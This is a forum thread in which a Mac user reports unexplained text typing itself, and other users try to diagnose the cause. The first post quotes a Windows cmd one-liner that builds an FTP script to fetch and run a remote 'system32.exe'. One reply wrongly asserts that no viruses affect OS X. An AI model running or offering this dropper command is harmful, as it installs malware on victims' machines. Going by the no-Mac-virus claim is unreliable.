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Magic Mouse/Bluetooth possibly hacked. Cryptic text typing itself in the middle of my work.

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Mar 29, 2012 8:18 AM

During the last month, I began using a Magic Mouse with my iMac OS 10.6.8. On at least 2 occasion, it's as if my machine has been taken over and this odd cryptic text begins typing in the space where my cursor sits. The most recent occurance was today, while drafting content in Word, the following text appeared:


Cmd /c echo open 21 >> ik &echo user nobody lamp >> ik &echo binary >> ik &echo get system32.exe >> ik &echo bye >> ik &ftp –n –v –s:ik &del ik &system32.exe &exit

Echo You got owned


Previously, this occured while typing search terms into Google's search box. The text was similiar to the above but not exactly the same.


Not sure if this a "virus" on my machine, problems with the mouse (which--to my first time using self--has behaved erratically from the start) or someone hacking into my system via Bluetooth.


Thoughts or suggestions on how to troubleshoot/fix?

iMac, Mac OS X (10.6.8)
  • Barry Hemphill Level 7 Level 7 (33,085 points)



    Not sure if this a "virus" on my machine

    You may rule that out.  There are NO viruses that affect a Mac running OS X - none.


    or someone hacking into my system via Bluetooth.

    Nothing is impossible, but that is quite unlikely.  The range of Bluetooth devices is about 30' (10 meters).  Additionally, someone would somehow have to pair a device with your computer.


    The stuff you posted has a .exe suffix.  That is a Windows suffix and will not execute on a Mac.  Did you download something perhaps (from a web site called "collegefan.org21" or someplace else)?  Malware, while rare, can intrude from unknown sites. 


    I would probably reinstall OS X completely (after making a good backup).


    I do not know how a malfunctioning mouse would create text like you describe.



    iMac, Mac OS X (10.7.3), 4 GB memory,DSL, Airport Express
  • HACKINT0SH Level 5 Level 5 (5,750 points)

    Are you using MS Word in Bootcamp? If so, then you probably do have something.

  • HACKINT0SH Level 5 Level 5 (5,750 points)

    It seems a failed attempt at tryign to take over Windows machines. Since you're using Mac OSX and not Windows, which uses compiled binarines in .exe form you don't have to worry much.


    However, that domain has been already flagged as an official phishing site.

  • Graeme1975 Calculating status...

    I also had this today, but I also saw the 'Screen Sharing' icon on my menu bar appear while the text was being echo'd to my screen, then disappear. 


    I was remoting to my work XP PC, and I happened to see the text in an IM chat window.


    Pretty freaked out if someone can share my screen!

  • Networking Student Calculating status...

    Just looking into this possible Bluetooth exploit.  I have a couple of MacBooks that I picked up refurbished.  Strange things had begun happening with the computers like messages in iChat that did not belong to me and optional software installed that I did not choose.


    Last night my computer was connected to a network when I had the ethernet unplugged and wireless turned off.  This would not be a big deal as maybe just a glitch with the wireless control but I also had my router power cable disconnected. 


    Turns out that I was connecting over a BlueTooth connection between my computer and my iPhone 5.  Not sure how they managed to get into the iPhone 5's settings as it is not and never has been Jailbroken.  I checked in the MacBooks and sure enough my bluetooth was configured to connect to a modem.  Also, There are Java developer applets in my system with what appear to be full permissions.


    Not real worried about it as I brought it upon myself by buying used MacBooks.  As I am a computer networking student I find it rather interesting. 


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